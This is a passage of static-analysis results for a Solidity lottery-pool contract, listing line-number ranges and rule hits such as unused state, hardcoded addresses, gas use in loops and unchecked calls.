3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"UniLotteryPool.sol": [2728]}}, {"check": "write-after-write", "impact": "Medium", "confidence": "High", "lines": {"UniLotteryPool.sol": [1889]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 516, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1266, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5166, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5167, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5171, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5172, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5176, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5177, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5181, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5182, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5186, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5187, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5191, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5192, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5195, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5196, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5199, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5200, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5049, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5052, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5055, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5058, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5117, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5118, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5119, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5120, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5121, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5122, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5975, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 5979, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 6012, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 3176, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 6132, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 6165, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 1534, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 1568, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 3552, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 334, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 4000, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 4303, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 4352, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 4628, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5766, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5803, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5806, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5809, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5812, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5815, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5829, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5858, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5903, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5915, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 3708, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 4177, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 5769, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 5692, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5741, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5766, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5803, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5806, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5809, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5812, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5815, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5829, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5858, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5903, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5915, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 3322, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 3372, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 3708, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 4177, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 5769, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 6088, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 6765, "severity": 3}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 287, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 289, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 291, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 5038, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 5039, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 5040, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 5041, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 5042, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 5043, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 5044, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 6771, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 6776, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 6781, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 5837, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 285, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 4926, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 4960, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 4997, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 5018, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 6083, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 5692, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 562, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 621, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 4298, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 4536, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 4671, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 4821, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 6102, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 6127, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 5211, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 7031, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 4932, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 4967, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 4975, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 4982, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 5001, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 5023, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 5930, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 5942, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 5950, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 5980, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 6089, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 6113, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 6139, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1950, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1983, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4886, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4887, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4888, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4889, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4890, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 4891, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6438, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6898, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7077, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7175, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 7814, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 499, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 501, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 520, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 524, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 527, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 528, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 531, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 532, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 535, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 540, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1259, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1260, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1265, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1314, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1319, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1322, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1326, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1330, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1340, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1343, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1347, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1360, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1985, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1986, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1987, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1991, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1991, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1991, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1997, "severity": 